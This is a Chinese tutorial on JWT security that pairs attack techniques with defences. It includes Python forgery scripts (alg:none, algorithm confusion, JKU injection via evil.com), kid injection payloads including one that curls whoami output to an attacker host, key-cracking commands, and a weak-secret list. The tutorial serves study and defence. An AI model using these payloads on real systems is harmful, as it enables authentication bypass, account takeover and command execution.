前言
JWT(JSON Web Token,RFC 7519)是当前最流行的身份认证方案之一,广泛应用于RESTful API、微服务架构、SSO单点登录等场景。随着JWT的普及,其安全问题也日益凸显:算法混淆攻击、密钥爆破、敏感信息泄露等漏洞频繁出现。
JWT几乎被所有现代Web应用采用,从Spring Cloud微服务到Kubernetes集群,从OAuth2.0授权服务器到移动端App,都离不开它。一个JWT漏洞往往意味着身份伪造、越权访问,攻击者可以绕过认证直接以管理员身份接管系统,造成的危害不亚于SQL注入和反序列化漏洞。
【警告】法律免责声明:本文所述技术仅用于授权的安全测试、CTF竞赛和防御研究。未经授权对真实系统进行攻击属于违法行为,可能触犯《中华人民共和国网络安全法》《刑法》第二百八十五条(非法侵入计算机信息系统罪)等相关法律。读者需在合法授权范围内使用本文知识,作者不对任何滥用行为承担责任。
一、JWT基础
1.1 什么是JWT
JWT是一种紧凑的、URL安全的令牌格式,用于在各方之间以JSON对象的形式安全传递信息。它之所以"安全",是因为信息经过了数字签名,可以验证完整性和来源。一个JWT由三部分组成:Header.Payload.Signature,三部分之间用点号(.)分隔。JWT通常看起来是一长串看似随机的Base64URL编码字符串,常见于HTTP请求头中的Authorization字段、URL查询参数或Cookie中。
1.2 JWT结构详解
一个完整的JWT Token示例如下:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
对三段分别进行Base64URL解码,可以看到其内部结构。
第一段 Header(头部):声明Token类型和签名算法。
```
{"alg":"HS256","typ":"JWT"}
```
第二段 Payload(载荷):存放声明(Claims),如用户ID、角色、过期时间等。
```
{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}
```
第三段 Signature(签名):使用Header指定的算法,对base64url(Header) + "." + base64url(Payload) 进行签名得到的结果。
```
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
```
1.3 JWT Claims详解
JWT的Payload中存放的声明分为三类:标准声明(RFC 7519定义)、公共声明和私有声明。下表列出标准声明:
| Claim | 全称 | 含义 | 示例 |
| iss | Issuer | 签发者标识 | "iss":"auth.example.com" |
| sub | Subject | 主题/用户标识 | "sub":"1234567890" |
| aud | Audience | 接收方 | "aud":"api.example.com" |
| exp | Expiration Time | 过期时间(Unix时间戳) | "exp":1735689600 |
| nbf | Not Before | 生效时间 | "nbf":1516239022 |
| iat | Issued At | 签发时间 | "iat":1516239022 |
| jti | JWT ID | 唯一标识(防重放) | "jti":"a-uuid-string" |
此外还有自定义声明,如role(角色)、user_id(用户ID)、email(邮箱)、permissions(权限列表)等,由业务自行定义。
1.4 JWT vs Session
传统的Session认证将用户状态保存在服务端,而JWT将状态保存在Token中由客户端持有,两者在架构上有本质区别。
| 对比项 | JWT | Session |
| 存储位置 | 客户端(Token) | 服务端(内存/Redis) |
| 扩展性 | 好(无状态,天然分布式) | 差(需共享Session存储) |
| 撤销能力 | 弱(签发后无法主动撤销) | 强(删除即可立即失效) |
| 安全控制 | 依赖签名算法和密钥 | 依赖服务端Session存储安全 |
| 带宽消耗 | 较大(每次请求携带Token) | 较小(仅携带Session ID) |
| 适用场景 | API/微服务/移动端/SSO | 传统Web应用 |
【提示】JWT的无状态特性是双刃剑:带来了横向扩展的便利,却也带来了撤销困难的根本性缺陷,这也是后续多个攻击场景的根源。
二、JWT签名算法详解
2.1 对称签名算法(HMAC)
对称签名算法使用同一个密钥进行签名和验证,属于HMAC系列。常见的有:
- HS256:HMAC + SHA-256
- HS384:HMAC + SHA-384
- HS512:HMAC + SHA-512
其签名原理为:HMAC(key, base64url(Header) + "." + base64url(Payload)) = Signature。签名和验证双方共享同一个密钥,因此密钥一旦泄露,任何人都可以伪造合法Token。
安全前提是:密钥必须保密、足够长(至少256位)、足够随机,且不能硬编码在代码或配置文件中。HS256最大的问题在于密钥分发——所有需要验证Token的服务都必须持有同一个密钥,增加了泄露面。
2.2 非对称签名算法(RSA/ECDSA)
非对称签名算法使用私钥签名、公钥验证,解决了对称算法的密钥分发问题。常见算法:
- RS256/RS384/RS512:RSA + SHA-256/384/512,公钥验签、私钥签名
- ES256/ES384/ES512:ECDSA + SHA-256/384/512,密钥更短但安全等级相同
- PS256/PS384/PS512:RSA-PSS,概率性签名方案,安全性更高
其优势在于:签名方(授权服务器)保管私钥,验证方(资源服务器)只需公钥即可验证。即使公钥泄露也无法伪造签名。这在多服务架构中尤为关键,授权服务器可以集中签发Token,各微服务用公钥本地验证,无需共享密钥。
2.3 算法对比
| 算法 | 类型 | 密钥管理 | 性能 | 适用场景 |
| HS256 | 对称 | 单密钥共享 | 较快 | 单体应用、内部服务 |
| RS256 | 非对称 | 公私钥分离 | 较慢 | 微服务、跨域验证 |
| ES256 | 非对称 | 公私钥分离 | 快于RSA | 移动端、IoT设备 |
| PS256 | 非对称 | 公私钥分离 | 较慢 | 高安全要求场景 |
| none | 无 | 无需密钥 | 最快 | 不应使用(危险) |
2.4 none算法
none算法表示Token不进行签名,即Header的alg字段为"none"。RFC 7519允许这种声明,但任何生产环境都不应信任无签名的Token。然而很多JWT库在历史版本中存在缺陷:当alg为none时直接通过验证,这成为了JWT最经典的攻击向量,后续章节会详细展开。
【注意】none算法本身不是漏洞,漏洞在于服务端验证逻辑没有正确拒绝none算法。许多早期库的实现问题让none攻击成为JWT安全的"入门第一课"。
三、JWT安全漏洞与攻击
3.1 alg:none攻击
攻击原理:将Header的alg修改为none,删除Signature段(只保留Header.Payload.或Header.Payload),服务端如果信任无签名的JWT,则攻击者可以伪造任意Token。
攻击payload构造如下:
```
Header: {"alg":"none","typ":"JWT"}
Payload: {"sub":"admin","role":"admin","exp":9999999999}
Signature: (空)
```
最终Token形式为 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.(注意末尾的点号)。
Python构造none攻击Token的代码:
```
import base64
import json
def base64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin", "exp": 9999999999}
header_b64 = base64url_encode(json.dumps(header).encode())
payload_b64 = base64url_encode(json.dumps(payload).encode())
# none算法不需要签名,末尾保留空Signature
token = f"{header_b64}.{payload_b64}."
print(token)
```
防御方案:服务端必须维护算法白名单,强制校验Token的alg字段,拒绝none以及任何不在白名单内的算法。验证逻辑应显式指定期望的算法,而非从Token中读取。
3.2 算法混淆攻击(RS256 -> HS256降级)
攻击原理:服务端原本使用RS256(公钥验签),攻击者将Header的alg改为HS256,并使用服务端的公钥作为HMAC密钥进行签名。如果服务端的验证逻辑根据Token中的alg字段动态选择算法,它会误用公钥做HMAC验证,从而被攻击者用同一公钥签发的Token绕过。
攻击条件有两个:第一,服务端公钥可获取(如/.well-known/jwks.json、/jwks.json端点公开,或证书文件泄露);第二,验证逻辑根据Token中的alg字段选择算法,而非固定使用RS256。
攻击步骤:获取服务端公钥 -> 将公钥转为PEM格式字符串 -> 用该PEM字符串作为HS256密钥签名 -> 发送伪造Token。
Python完整利用代码:
```
import jwt
import requests
# 1. 获取服务端公钥(JWK Set端点)
jwks_url = "https://target.com/.well-known/jwks.json"
jwks = requests.get(jwks_url).json()
public_key = jwk_to_pem(jwks["keys"][0]) # 需用PyJWK或cryptography库转换
# 2. 构造恶意Payload
payload = {
"sub": "admin",
"role": "superadmin",
"exp": 9999999999
}
# 3. 用公钥作为HS256密钥签名(关键点)
token = jwt.encode(payload, key=public_key, algorithm="HS256")
print("Forged token:", token)
# 4. 发送伪造Token访问管理员接口
headers = {"Authorization": f"Bearer {token}"}
resp = requests.get("https://target.com/api/admin/users", headers=headers)
print(resp.status_code, resp.text)
```
防御方案:服务端固定验证算法,不信任Token中的alg字段。在Java中应使用固定算法的解析器配置,在Python中应明确传入expected_alg参数校验。同时限制公钥端点的访问,必要时增加鉴权。
3.3 JWT密钥爆破
攻击原理:HS256使用弱密钥时,由于签名是确定性的(同一密钥对同一内容产生相同签名),攻击者可以离线字典爆破。对每个候选密钥计算HMAC,与目标Token的Signature比对,命中即得到真实密钥。
工具一:jwt_tool(集成多种攻击)。
```
# jwt_tool爆破密钥
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# jwt_tool执行none攻击
python3 jwt_tool.py <JWT_TOKEN> -X a
# jwt_tool执行算法混淆攻击
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
```
工具二:hashcat(GPU加速爆破,模式16500为JWT)。
```
# 提取JWT用于hashcat(格式:header.payload.signature)
echo "<JWT_TOKEN>" > jwt.txt
# 字典攻击
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# 规则爆破
hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r rules/best64.rule
```
常见弱密钥列表(实际渗透中命中率极高):
```
secret
secretkey
secretkey123
key
123456
12345678
1234567890
password
passwd
admin
admin123
jwt
jwtsecret
jwt_secret
jwt-secret-key
token
tokensecret
mysecret
my-secret-key
changeme
default
test
testkey
example
examplekey
sample
demo
qwerty
abc123
letmein
iloveyou
root
toor
passw0rd
P@ssw0rd
supersecret
```
【注意】很多开源项目和教程直接使用"secret"或"my-secret-key"作为示例密钥,开发者照抄到生产环境,这是密钥爆破高发的根本原因。
3.4 JKU/JWK注入攻击
攻击原理:JWT Header中可以指定jku(JWK Set URL)或jwk(JSON Web Key)参数,告诉服务端从哪里获取验证公钥。如果服务端未对jku来源做白名单校验,攻击者在Header中注入自己的jku指向恶意服务器,用自己的私钥签名Token,服务端会从恶意服务器拉取公钥并验证通过。
攻击步骤:生成RSA密钥对 -> 将公钥放在自己服务器的JWK Set文件中 -> 修改Token Header的jku指向恶意服务器 -> 用私钥签名Payload -> 发送伪造Token。
完整攻击代码:
```
import jwt
import requests
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json
import base64
# 1. 生成RSA密钥对
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# 2. 导出公钥并构造JWK Set,托管在攻击者服务器
pub_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
# 攻击者服务器 https://evil.com/jwks.json 返回该JWK Set
jwks = {"keys": [pem_to_jwk(pub_pem)]}
# 3. 构造恶意Payload
payload = {
"sub": "admin",
"role": "superadmin",
"exp": 9999999999
}
# 4. 构造带jku的Header,用私钥签名
headers = {
"alg": "RS256",
"typ": "JWT",
"jku": "https://evil.com/jwks.json",
"kid": "attacker-key-1"
}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print("Forged token:", token)
# 5. 发送伪造Token
resp = requests.get("https://target.com/api/admin",
headers={"Authorization": f"Bearer {token}"})
print(resp.status_code, resp.text)
```
防御方案:服务端必须维护jku白名单,只允许从可信的签发方拉取公钥;或干脆禁用jku/jwk动态加载,使用本地预置的公钥。
3.5 kid参数注入
kid(Key ID)用于在多密钥场景下指定验证使用哪个密钥,常被用作数据库查询或文件路径的参数。如果服务端未对kid做严格校验,会产生多种注入攻击。
目录遍历:kid参数指向/etc/passwd或/dev/null等已知文件,服务端读取该文件内容作为密钥。最经典的绕过是kid指向/dev/null,使密钥为空,攻击者用空字符串签名即可通过。
```
Header: {"alg":"HS256","kid":"../../../../dev/null","typ":"JWT"}
```
SQL注入:kid参数被拼入SQL查询,攻击者通过注入控制查询返回的密钥。
```
Header: {"alg":"HS256","kid":"key' UNION SELECT 'attacker-known-secret'--","typ":"JWT"}
```
命令注入:kid参数被传入系统命令(如文件读取命令),攻击者注入命令执行。
```
Header: {"alg":"HS256","kid":"key|whoami","typ":"JWT"}
Header: {"alg":"HS256","kid":"key;curl https://evil.com/$(whoami)","typ":"JWT"}
```
【警告】kid注入看似不起眼,但一旦命中命令注入往往直接导致RCE(远程代码执行),危害极大。审计时应重点关注kid参数的处理逻辑。
3.6 敏感信息泄露
Payload中存储敏感数据是JWT最常见的"反模式"。由于Base64URL只是编码不是加密,任何人拿到Token都可以解码查看明文内容。常见泄露场景:
- Payload中明文存储用户ID、邮箱、手机号、角色、权限等敏感信息
- JWT Token放在URL查询参数中传递,导致Referer头泄露、浏览器历史记录泄露、服务器日志泄露
- Token被存入localStorage,遭受XSS攻击后被窃取
3.7 JWT重放攻击
攻击原理:攻击者截获有效的JWT后重放使用。由于JWT无状态,服务端无法区分是用户正常请求还是攻击者重放,只要Token未过期就能通过验证。
攻击条件:同一Token可多次使用且无Nonce/序号校验、Token在传输中被截获(如中间人攻击、日志泄露)、Token有效期过长。重放攻击在支付、转账等敏感操作中危害尤其严重。
3.8 过期时间绕过
exp声明相关漏洞:exp设置过长(如一年、十年)使Token长期有效;完全不设置exp导致Token永久有效;时钟偏移容忍度(leeway参数)设置过大(如60秒以上)使过期Token仍能短暂使用;服务端未校验exp或校验逻辑有缺陷。
3.9 漏洞汇总
| 漏洞类型 | 原理 | 影响 | 检测方法 | 防御方案 |
| alg:none攻击 | 修改alg为none绕过签名 | 身份伪造 | 修改alg测试响应 | 算法白名单 |
| 算法混淆 | RS256降级HS256公钥签名 | 身份伪造 | 改alg用公钥签名 | 固定验证算法 |
| 密钥爆破 | 弱密钥离线字典爆破 | 密钥泄露后全面沦陷 | hashcat/jwt_tool爆破 | 强随机密钥 |
| JKU/JWK注入 | 篡改公钥来源 | 签名验证绕过 | 修改jku测试 | jku白名单 |
| kid注入 | kid参数未过滤 | 签名绕过/RCE | 注入测试kid | 参数校验/预编译 |
| 敏感信息泄露 | Payload明文存敏感数据 | 隐私泄露 | 解码Payload | Payload最小化 |
| 重放攻击 | 截获Token重放 | 越权操作 | 重放Token测试 | Nonce/序号校验 |
| 过期绕过 | exp设置不当 | 长期有效Token | 测试过期Token | 短exp+刷新机制 |
四、JWT攻击工具
4.1 jwt_tool
jwt_tool是JWT安全测试的瑞士军刀,集解码、签名伪造、none攻击、密钥爆破、算法混淆、jwk注入于一体。安装与基本使用:
```
# 安装
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
python3 jwt_tool.py <JWT_TOKEN>
# 解码查看
python3 jwt_tool.py <JWT_TOKEN>
# none攻击
python3 jwt_tool.py <JWT_TOKEN> -X a
# 算法混淆攻击(需提供公钥)
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# 密钥爆破
python3 jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
# JWK注入攻击
python3 jwt_tool.py <JWT_TOKEN> -X i -S hs256
# 修改Payload并重新签名
python3 jwt_tool.py <JWT_TOKEN> -T -I -pc role -pv admin -S hs256 -p secret
```
4.2 JWT.io
JWT.io是Auth0提供的在线工具,支持JWT解码、调试和重新签名。适合快速分析Token结构、测试不同算法的签名结果、对比修改前后的Token。优点是可视化直观,缺点是不能用于爆破和自动化攻击。
4.3 jwtcat
jwtcat是专门针对JWT的hashcat封装工具,支持字典、规则、掩码等多种爆破模式,可调用GPU加速。
```
# 字典爆破
python3 jwtcat.py -t <JWT_TOKEN> -w wordlist.txt
# 掩码爆破
python3 jwtcat.py -t <JWT_TOKEN> -m ?d?d?d?d?d?d
```
4.4 BurpSuite JWT插件
JWT Editor是BurpSuite的官方插件,可在Burp中手动修改Header和Payload并重新签名,支持加载密钥、保存攻击模板,适合在渗透测试中与请求拦截结合使用。
| 工具 | 功能 | 适用场景 | 使用难度 |
| jwt_tool | 全功能JWT攻击 | 综合渗透测试 | 中 |
| JWT.io | 在线解码调试 | 快速分析 | 低 |
| jwtcat | hashcat封装爆破 | 大规模密钥爆破 | 中 |
| BurpSuite JWT Editor | 手动修改重签 | 渗透测试拦截 | 中 |
| hashcat | 通用哈希爆破 | GPU加速爆破 | 高 |
五、JWT安全实战案例
5.1 案例1:算法混淆攻击获取管理员权限
背景:某企业OA系统使用JWT认证,登录后返回RS256签名的Token,普通员工只能查看自己的工单。
完整流程:
第一步,发现JWT。抓包发现请求头携带 Authorization: Bearer <token>,解码后alg为RS256,Payload含role:employee。
第二步,解码分析。发现Payload中有role字段控制权限,且服务端/.well-known/jwks.json端点公开。
第三步,获取公钥。
```
curl https://oa.target.com/.well-known/jwks.json -o jwks.json
```
第四步,将公钥转为PEM格式,用公钥作为HS256密钥签名,伪造admin Token。
```
import jwt
from jwt import PyJWKClient
# 获取并转换公钥
jwks_client = PyJWKClient("https://oa.target.com/.well-known/jwks.json")
signing_key = jwks_client.get_signing_key_from_jwt(original_token)
public_key_pem = signing_key.key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
).decode()
# 用公钥作为HS256密钥签名
forged = jwt.encode(
{"sub":"1001","role":"admin","exp":9999999999},
key=public_key_pem,
algorithm="HS256"
)
print(forged)
```
第五步,越权访问。用伪造Token请求管理员接口,成功获取全部员工工单和系统配置。
5.2 案例2:密钥爆破+Token伪造
背景:某CTF靶场的API使用HS256签发JWT,普通用户Token可访问受限接口。
完整流程:
第一步,捕获JWT。登录后从响应中获取Token。
第二步,hashcat爆破密钥。
```
echo "eyJhbGciOiJIUzI1NiIs..." > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
```
第三步,发现弱密钥。爆破结果为"s3cr3t"(典型弱口令)。
第四步,伪造任意用户Token。
```
import jwt
token = jwt.encode(
{"sub":"1","role":"admin","exp":9999999999},
key="s3cr3t",
algorithm="HS256"
)
print(token)
```
第五步,接管账号。用伪造的admin Token访问/flag接口,成功获取Flag。
5.3 案例3:kid目录遍历绕过签名验证
背景:某应用JWT Header含kid字段,服务端用kid作为文件名从密钥目录读取密钥文件。
完整流程:
第一步,分析kid参数。解码Token发现Header含kid: "key01",推测服务端读取/path/to/keys/key01作为密钥。
第二步,目录遍历指向/dev/null。
```
Header: {"alg":"HS256","kid":"../../../../dev/null","typ":"JWT"}
Payload: {"sub":"admin","role":"admin","exp":9999999999}
```
第三步,空密钥签名。/dev/null内容为空,攻击者用空字符串作为HMAC密钥签名。
```
import jwt
token = jwt.encode(
{"sub":"admin","role":"admin","exp":9999999999},
key="",
algorithm="HS256",
headers={"kid":"../../../../dev/null"}
)
print(token)
```
第四步,绕过验证。发送Token,服务端读取/dev/null得到空密钥,HMAC验证通过,成功以admin身份登录。
六、JWT安全防御方案
6.1 算法白名单
服务端应固定使用RS256或ES256等非对称算法,拒绝none和HS256降级。验证逻辑不信任Token中的alg字段,显式指定期望算法。
```
// Java (jjwt库) 固定算法示例
Jws<Claims> claims = Jwts.parserBuilder()
.setSigningKey(publicKey)
.setAllowedAlgorithms(SignatureAlgorithm.RS256) // 显式指定算法
.build()
.parseClaimsJws(token);
```
```
# Python (PyJWT) 固定算法示例
import jwt
claims = jwt.decode(
token,
key=public_key_pem,
algorithms=["RS256"], # 显式指定,拒绝其他算法
options={"require": ["exp", "iat"]}
)
```
6.2 密钥管理
使用256位以上随机密钥,定期轮换(建议90天一次),密钥不硬编码。应使用密钥管理服务(KMS、HashiCorp Vault、AWS KMS)托管密钥,应用启动时从KMS动态获取。
```
# 生成强随机密钥
import secrets
secret = secrets.token_urlsafe(48) # 约384位熵
print(secret)
```
6.3 Payload最小化
Payload不存储敏感数据,只存必要的用户标识,敏感字段通过服务端查询获取。安全Claims配置示例:
```
{
"iss": "auth.example.com",
"sub": "user-uuid-xxx",
"aud": "api.example.com",
"exp": 1693526400,
"nbf": 1693522800,
"iat": 1693522800,
"jti": "550e8400-e29b-41d4-a716-446655440000"
}
```
注意不要存储明文邮箱、手机号、角色权限列表,这些应通过sub在服务端实时查询。
6.4 过期与刷新机制
采用短exp(如15分钟)的Access Token + 长exp(如7天)的Refresh Token组合。Refresh Token存储在服务端,可主动撤销。Token刷新流程:客户端用Refresh Token请求/refresh端点 -> 服务端校验Refresh Token有效性 -> 签发新的Access Token和Refresh Token(滚动刷新) -> 旧的Refresh Token失效。
```
# Access Token: 15分钟
access_token = jwt.encode({
"sub": user_id, "type": "access",
"exp": now + 900, "iat": now, "jti": str(uuid4())
}, secret, algorithm="HS256")
# Refresh Token: 7天,存入Redis便于撤销
refresh_token = jwt.encode({
"sub": user_id, "type": "refresh",
"exp": now + 604800, "iat": now, "jti": str(uuid4())
}, refresh_secret, algorithm="HS256")
redis.setex(f"refresh:{refresh_jti}", 604800, user_id)
```
6.5 Token撤销机制
由于JWT无状态,撤销需借助外部存储。常见方案:黑名单机制(撤销的Token的jti存入Redis,TTL等于Token剩余有效期)、短Token+Refresh Token(Access Token过期快,撤销Refresh Token即可切断会话)、版本号机制(用户登出或改密时递增版本号,Token中携带版本号比对)。
```
# Redis黑名单实现
def revoke_token(jti, exp):
ttl = exp - int(time.time())
if ttl > 0:
redis.setex(f"jwt:blacklist:{jti}", ttl, "1")
def is_revoked(jti):
return redis.exists(f"jwt:blacklist:{jti}")
# 验证时检查黑名单
def verify_token(token):
claims = jwt.decode(token, key, algorithms=["HS256"])
if is_revoked(claims["jti"]):
raise TokenRevokedError("Token已撤销")
return claims
```
6.6 安全传输
强制HTTPS传输,Token通过Authorization Header传递而非URL参数,避免Referer和日志泄露。设置Cookie时使用HttpOnly、Secure、SameSite=Strict属性。
```
# 安全的Cookie设置
Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict; Path=/
```
6.7 完整安全配置示例
Java Spring Security安全实现:
```
@Configuration
@EnableWebSecurity
public class JwtSecurityConfig {
@Bean
public JwtDecoder jwtDecoder() {
// 固定RS256算法,从JWK Set加载
return NimbusJwtDecoder
.withJwkSetUri("https://auth.example.com/jwks")
.jwsAlgorithm(SignatureAlgorithm.RS256) // 固定算法
.build();
}
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.oauth2ResourceServer(oauth2 -> oauth2.jwt(Customizer.withDefaults()))
.csrf(csrf -> csrf.disable())
.sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS));
return http.build();
}
}
```
Python PyJWT安全实现:
```
import jwt
import time
import uuid
from functools import lru_cache
class JwtService:
def __init__(self, public_key, private_key=None):
self.public_key = public_key
self.private_key = private_key
def issue(self, subject, ttl=900):
now = int(time.time())
return jwt.encode({
"iss": "auth.example.com",
"sub": subject,
"aud": "api.example.com",
"iat": now,
"nbf": now,
"exp": now + ttl,
"jti": str(uuid.uuid4())
}, self.private_key, algorithm="RS256")
def verify(self, token):
try:
claims = jwt.decode(
token, self.public_key,
algorithms=["RS256"], # 固定算法
issuer="auth.example.com", # 校验签发者
audience="api.example.com", # 校验接收方
options={"require": ["exp", "iat", "jti", "iss", "aud"]},
leeway=5 # 时钟偏移容忍5秒
)
if is_revoked(claims["jti"]):
raise ValueError("Token已撤销")
return claims
except jwt.PyJWTError as e:
raise ValueError(f"Token验证失败: {e}")
```
七、总结
JWT安全攻防的核心在于理解签名机制和验证逻辑。攻击者总是寻找验证逻辑的薄弱点:是否信任了Token中的alg、是否使用弱密钥、是否对外暴露了公钥端点、是否未校验jku/kid等Header参数。防御者则需守住三条底线:算法固定不可降级、密钥足够强且保密、Payload最小化且可撤销。
JWT安全审计清单:
1. 算法是否固定:验证时是否显式指定算法,拒绝none和降级
2. 密钥是否足够强:是否使用256位以上随机密钥,是否硬编码
3. Payload是否最小化:是否存储敏感数据,是否仅存必要标识
4. exp是否合理:是否设置短exp,是否配合Refresh Token
5. 是否支持撤销:是否实现黑名单或Refresh Token轮换
6. 传输是否安全:是否强制HTTPS,是否使用Header而非URL
7. Header参数是否校验:kid是否过滤、jku是否白名单
推荐学习资源:JWT.io(在线工具与文档)、RFC 7519(JWT标准原文)、PortSwigger Web Security Academy的JWT Labs(实操靶场)、jwt_tool项目仓库(攻击工具与案例)、OWASP JWT Cheat Sheet(防御最佳实践)。
掌握JWT安全攻防,既是渗透测试的必备技能,也是开发安全应用的基础。希望本文的保姆级讲解能帮助读者在实际工作中既会攻也会防,构建更安全的身份认证体系。